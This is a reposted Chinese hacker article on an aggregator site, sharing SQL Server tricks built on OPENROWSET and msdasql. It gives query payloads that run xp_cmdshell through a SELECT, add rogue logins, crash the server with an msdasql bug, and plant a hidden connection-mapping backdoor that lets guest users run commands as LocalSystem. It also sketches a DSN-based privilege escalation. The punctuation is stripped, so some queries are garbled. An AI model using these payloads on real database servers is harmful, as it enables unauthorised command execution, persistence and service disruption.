知识大全 注意那些容易被忽略的SQL注入技巧

Posted 命令

篇首语:于今腐草无萤火,终古垂杨有暮鸦。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 注意那些容易被忽略的SQL注入技巧相关的知识,希望对你有一定的参考价值。

注意那些容易被忽略的SQL注入技巧  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!

  下面我要谈到一些Sqlserver新的Bug 虽然本人经过长时间的努力 当然也有点幸运的成分在内 才得以发现 不敢一个人独享 拿出来请大家鉴别

   .关于Openrowset和Opendatasource

  可能这个技巧早有人已经会了 就是利用openrowset发送本地命令 通常我们的用法是(包括MSDN的列子)如下

  select * from openrowset( sqloledb myserver ; sa ; select * from table )

  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问 它必须跟在select后面 也就是说需要返回一个recordset

  那么我们能不能利用它调用XP_cmdshell呢?答案是肯定的!

  select * from openrowset( sqloledb server ; sa ; set fmtonly off

  exec master dbo XP_cmdshel l dir c:\\ )

  必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设置 这样XP_cmdshell返回的output集合就会提交给前面的select显示 如果采用默认设置 会返回空集合导致select出错 命令也就无法执行了

  那么如果我们要调用sp_addlogin呢 他不会像XP_cmdshell返回任何集合的 我们就不能再依靠fmtonly设置了 可以如下操作

  select * from openrowset( sqloledb server ; sa ; select OK!

  exec master dbo sp_addlogin Hectic )

  这样 命令至少会返回select OK! 的集合 你的机器商会显示OK! 同时对方的数据库内也会增加一个Hectic的账号 也就是说 我们利用select OK! 的返回集合欺骗了本地的select请求 是命令能够正常执行 通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处 大家慢慢想吧

   .关于Msdasql两次请求的问题

  不知道大家有没有试过用msdasql连接远程数据库 当然这个api必须是sqlserver的管理员才可以调用 那么如下

  select * from openrowset( msdasql driver=sql server;server=server;address=server ;uid=sa;pwd=;database=master;neork=dbmssocn s elect * from table select * from table )

  当table 和table 的字段数目不相同时 你会发现对方的sqlserver崩溃了 连本地连接都会失败 而系统资源占用一切正常 用pskill杀死 sqlserver进程后 如果不重启机器 sqlserver要么无法正常启动 要么时常出现非法操作 我也只是碰巧找到这个bug的 具体原因我还没有摸透 而且很奇怪的是这个现象只出现在msdasql上 sqloledb就没有这个问题 看来问题不是在于请求集合数目和返回集合数目不匹配上 应该还是msdasql本身的问题 具体原因 大家一起慢慢研究吧

   .可怕的后门

  以前在网上看到有人说在 sqlserver上留后门可以通过添加triger jobs或改写sp_addlogin和sp_addsrvrolemember做到 这些方法当然可行 但是很容易会被发现 不知道大家有没有想过sqloledb的本地连接映射 呵呵 比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令

  select * from openrowset( sqloledb trusted_connection=yes;data source=Hectic set fmtonly off exec master XP_cmdshell dir c:\\ )

  这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射 只要sqlserver不重启 这个映射会一直存在下去 至少我现在还不知道如何发现别人放置的连接映射 好了 以上的命令运行过后 你会发现哪怕是sqlserver没有任何权限的guest用户 运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了 以上的方法在 sqlserver sqlserver SP 上通过!

  另外还有一个猜测 不知道大家有没有注意过windows默认附带的两个dsn 一个是localserver一个是msqi 这两个在建立的时候是本地管理员账号连接sqlserver的 如果对方的 sqlserver是通过自定义的power user启动 那么sa的权限就和power user一样 很难有所大作为 但是我们通过如下的命令

  select * from openrowset

  ( msdasql dsn=locaserver;trusted_connection=yes set fmtonly off execmaster XP_cmdshell dir c:\\ )

  应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了 这是后我想应该能突破sa那个power user权限了 现在的问题是sqloledb无法调用dsn连接 而msdasql非管理员不让调用 所以我现在正在寻找guest调用msdasql 的方法

cha138/Article/program/SQL/201311/16324

相关参考

验收时那些容易被忽略呢?

项目损伤那种前期项目被后期项目损伤的,一定要追究装修公司的责任,要求他们修补。比如说,家具和门框的油漆,我前面说过油漆工进场比较早。明明漆好了,被后面吊项抹灰的施工给蹭掉了皮,就必须给好好地补上。还有

知识大全 解决并清除SQL被注入

解决并清除SQL被注入  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  在SQL查询分析器执行以下

知识大全 清除SQL被注入恶意病毒代码的语句

清除SQL被注入恶意病毒代码的语句  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  在SQL查询分

知识大全 Java开发中容易产生Sql注入的原因以及避免方式

Java开发中容易产生Sql注入的原因以及避免方式  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!&

被忽略的公司效应概述

被忽略的公司效应概述阿贝尔和斯特雷贝尔1983年提出被忽略公司效应,是指那些被市场忽略的公司的表现常常会优于那些备受关注的公司的表现。他们认为由于小公司易于被大的投资机构的研究人员或操盘人员所忽略,因

知识大全 .Net程序如何防止被注入(整站通用)

.Net程序如何防止被注入(整站通用)  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  防止sql

知识大全 php防止sql注入的函数介绍

  具体用法  addslashes防止SQL注入  虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入还是建议大家加强中文防止SQL注入的检查addslashes的问题在于黑客可以用

知识大全 SQL注入天书―ASP注入漏洞全接触

SQL注入天书―ASP注入漏洞全接触  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!lishixin

知识大全 SQL注入天书之ASP注入漏洞全接触

SQL注入天书之ASP注入漏洞全接触  以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!  引言  随着

知识大全 求职面试容易被忽略的12种高级错误

求职面试中,没有人能保证不犯错误。只是聪明的求职者会不断地修正错误走向成熟。然而在面试中有些错误却是一些相当聪明的求职者也难免会一犯再犯的,我们权称之为高级错误。某跨国公司人力资源管理专家总结经验,列